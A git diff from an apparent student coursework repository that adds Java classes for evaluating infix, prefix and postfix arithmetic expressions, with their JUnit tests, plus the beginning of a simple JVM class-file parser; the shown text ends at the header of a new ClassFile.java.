 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/CommandParser.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/GetFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/LdcCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/NewObjectCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/NoOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/OneOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/PutFieldCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/ClassInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantPool.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/FieldRefInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/MethodRefInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/NullConstantInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/StringInfo.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/constant/UTF8Info.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/field/Field.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/loader/ByteCodeIterator.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileLoader.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/loader/ClassFileParser.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/method/Method.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/print/ClassFilePrinter.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/test/ClassFileloaderTest.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/test/EmployeeV1.java
 create mode 100644 group01/1814014897/zhouhui/src/week07/jvm/util/Util.java

diff --git a/group01/1814014897/zhouhui/src/week07/expr/InfixExpr.java b/group01/1814014897/zhouhui/src/week07/expr/InfixExpr.java
new file mode 100644
index 0000000000..80bef68a98
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/InfixExpr.java
@@ -0,0 +1,66 @@
+package week07.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+
+		for (Token token : tokens) {
+			if (token.isOperator()) {
+				if (opStack.isEmpty()) {
+					opStack.push(token);
+				} else {
+					while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1, f2);
+						numStack.push(result);
+					}
+					opStack.push(token);
+				}
+			}
+			if (token.isNumber()) {
+
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+
+		while (!opStack.isEmpty()) {
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1, f2));
+		}
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1 + f2;
+		}
+		if (op.equals("-")) {
+			return f1 - f2;
+		}
+		if (op.equals("*")) {
+			return f1 * f2;
+		}
+		if (op.equals("/")) {
+			return f1 / f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/InfixToPostfix.java b/group01/1814014897/zhouhui/src/week07/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..dcaaea756c
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/InfixToPostfix.java
@@ -0,0 +1,34 @@
+package week07.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+
+	public static List<Token> convert(String expr) {
+		List<Token> inFixTokens = new TokenParser().parse(expr);
+
+		List<Token> postFixTokens = new ArrayList<>();
+
+		Stack<Token> opStack = new Stack<Token>();
+
+		for (Token token : inFixTokens) {
+			if (token.isOperator()) {
+				while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
+					postFixTokens.add(opStack.pop());
+				}
+				opStack.push(token);
+			}
+			if (token.isNumber()) {
+				postFixTokens.add(token);
+			}
+		}
+
+		while (!opStack.isEmpty()) {
+			postFixTokens.add(opStack.pop());
+		}
+		return postFixTokens;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/PostfixExpr.java b/group01/1814014897/zhouhui/src/week07/expr/PostfixExpr.java
new file mode 100644
index 0000000000..1a20114483
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/PostfixExpr.java
@@ -0,0 +1,48 @@
+package week07.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+		Stack<Float> numStack = new Stack<>();
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numStack.push(new Float(token.getIntValue()));
+			} else if (token.isOperator()) {
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				Float result = calculate(token.toString(), f1, f2);
+				numStack.push(result);
+			}
+		}
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1 + f2;
+		}
+		if (op.equals("-")) {
+			return f1 - f2;
+		}
+		if (op.equals("*")) {
+			return f1 * f2;
+		}
+		if (op.equals("/")) {
+			return f1 / f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/PrefixExpr.java b/group01/1814014897/zhouhui/src/week07/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b2949c9236
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/PrefixExpr.java
@@ -0,0 +1,52 @@
+package week07.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+		Stack<Token> exprStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		for (Token token : tokens) {
+			exprStack.push(token);
+		}
+
+		while (!exprStack.isEmpty()) {
+			if (exprStack.peek().isNumber()) {
+				numStack.push(new Float(exprStack.pop().getIntValue()));
+			} else if (exprStack.peek().isOperator()) {
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				Float result = calculate(exprStack.pop().toString(), f1, f2);
+				numStack.push(result);
+			}
+		}
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1 + f2;
+		}
+		if (op.equals("-")) {
+			return f1 - f2;
+		}
+		if (op.equals("*")) {
+			return f1 * f2;
+		}
+		if (op.equals("/")) {
+			return f1 / f2;
+		}
+		throw new RuntimeException(op + "is not supported");
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/Token.java b/group01/1814014897/zhouhui/src/week07/expr/Token.java
new file mode 100644
index 0000000000..b0767745dc
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/Token.java
@@ -0,0 +1,50 @@
+package week07.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week07/expr/TokenParser.java b/group01/1814014897/zhouhui/src/week07/expr/TokenParser.java
new file mode 100644
index 0000000000..57a1935d9c
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package week07.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/AllTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/AllTest.java
new file mode 100644
index 0000000000..9980592a25
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/AllTest.java
@@ -0,0 +1,18 @@
+package week07.expr.test;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
+
+@RunWith(Suite.class)
+@SuiteClasses({
+	InfixExprTest.class,
+	InfixToPostfixTest.class,
+	PostfixExprTest.class,
+	PrefixExprTest.class,
+	TokenParserTest.class
+})
+
+public class AllTest {
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/InfixExprTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/InfixExprTest.java
new file mode 100644
index 0000000000..36b4ab5bfd
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/InfixExprTest.java
@@ -0,0 +1,54 @@
+package week07.expr.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.expr.InfixExpr;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/InfixToPostfixTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/InfixToPostfixTest.java
new file mode 100644
index 0000000000..960116775a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/InfixToPostfixTest.java
@@ -0,0 +1,32 @@
+package week07.expr.test;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import week07.expr.InfixToPostfix;
+import week07.expr.Token;
+
+public class InfixToPostfixTest {
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/PostfixExprTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/PostfixExprTest.java
new file mode 100644
index 0000000000..0ca382ae07
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/PostfixExprTest.java
@@ -0,0 +1,43 @@
+package week07.expr.test;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.expr.PostfixExpr;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/PrefixExprTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/PrefixExprTest.java
new file mode 100644
index 0000000000..c955223e3a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/PrefixExprTest.java
@@ -0,0 +1,47 @@
+package week07.expr.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.expr.PrefixExpr;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/expr/test/TokenParserTest.java b/group01/1814014897/zhouhui/src/week07/expr/test/TokenParserTest.java
new file mode 100644
index 0000000000..0a9fa7ea50
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/expr/test/TokenParserTest.java
@@ -0,0 +1,42 @@
+package week07.expr.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week07.expr.Token;
+import week07.expr.TokenParser;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/AttributeInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..dd82595dcf
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package week07.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/CodeAttr.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..60d542bb4e
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/CodeAttr.java
@@ -0,0 +1,116 @@
+package week07.jvm.attr;
+
+import week07.jvm.attr.AttributeInfo;
+import week07.jvm.attr.CodeAttr;
+import week07.jvm.attr.LineNumberTable;
+import week07.jvm.attr.LocalVariableTable;
+import week07.jvm.attr.StackMapTable;
+import week07.jvm.clz.ClassFile;
+import week07.jvm.cmd.ByteCodeCommand;
+import week07.jvm.cmd.CommandParser;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack;
+	private int maxLocals;
+	private int codeLen;
+	private String code;
+
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds;
+
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
+			ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;
+	}
+
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+
+		String code = iter.nextUxToHexString(codeLen);
+
+		System.out.println(code);
+		
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code,cmds);
+
+		int exceptionTableLen = iter.nextU2ToInt();
+
+		if (exceptionTableLen > 0) {
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+			System.out.println("Encountered exception table,just ignore it");
+		}
+
+		int subAttrCount = iter.nextU2ToInt();
+
+		for (int i = 1; i <= subAttrCount; i++) {
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+			iter.back(2);
+
+			if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			} else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			} else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			} else {
+				throw new RuntimeException("Need code to process " + subAttrName);
+			}
+		}
+
+		return codeAttr;
+	}
+
+	public String toString(ConstantPool pool) {
+		StringBuilder buffer = new StringBuilder();
+		// buffer.append("Code:").append(code).append("\n");
+		for (int i = 0; i < cmds.length; i++) {
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/LineNumberTable.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..739b36df5b
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/LineNumberTable.java
@@ -0,0 +1,66 @@
+package week07.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week07.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		
+		LineNumberTable table = new LineNumberTable(index, len);
+		
+		int itemLen = iter.nextU2ToInt();
+		
+		for(int i=1;i<=itemLen;i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			table.addLineNumberItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableItem.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..89b58e9e37
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package week07.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableTable.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..a46a869204
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,55 @@
+package week07.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week07.jvm.constant.ConstantPool;
+
+import week07.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo {
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);
+	}
+
+	public static LocalVariableTable parse(ByteCodeIterator iter) {
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+
+		LocalVariableTable table = new LocalVariableTable(index, len);
+
+		int itemLen = iter.nextU2ToInt();
+
+		for (int i = 1; i <= itemLen; i++) {
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+
+		return table;
+	}
+
+	public String toString(ConstantPool pool) {
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for (LocalVariableItem item : items) {
+			buffer.append("startPC:" + item.getStartPC()).append(",");
+			buffer.append("name:" + pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:" + pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:" + item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/attr/StackMapTable.java b/group01/1814014897/zhouhui/src/week07/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..ce1fbc29e1
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package week07.jvm.attr;
+
+
+import week07.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/clz/AccessFlag.java b/group01/1814014897/zhouhui/src/week07/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..1c35da64b1
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package week07.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassFile.java b/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..ef3bce8927
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassFile.java
@@ -0,0 +1,117 @@
